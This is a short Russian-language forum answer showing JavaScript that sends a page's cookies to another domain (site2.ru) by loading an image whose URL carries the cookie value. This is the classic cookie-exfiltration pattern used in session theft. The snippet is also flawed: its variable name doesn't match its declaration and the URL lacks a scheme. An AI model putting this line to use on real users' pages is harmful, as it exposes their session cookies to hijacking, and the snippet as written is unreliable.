Тогда вы можете передать куки например через GET запросы на site2.ru.
GET-запросы можно послать на любой сайт через создание таких элементов: image, style, script, iframe. Я бы использовал картинки.
Примерно код выглядит вот так:
var cookie; // здесь уже хранятся куки, вам нужно почитать и узнать как правильно выбирать куки
// создадим картинку
var img = new Image();
// установи адресс картинки чтоб вел на нужный сайт
// Теперь браузер попробует загрузить картинку с сайта site2.ru и одновременно передаст куки методом GET
img.src = "site2.ru/myimg.php?cockie=" + cockie;
На сайте site2.ru должен быть файл site2.ru/myimg.php который обработает запрос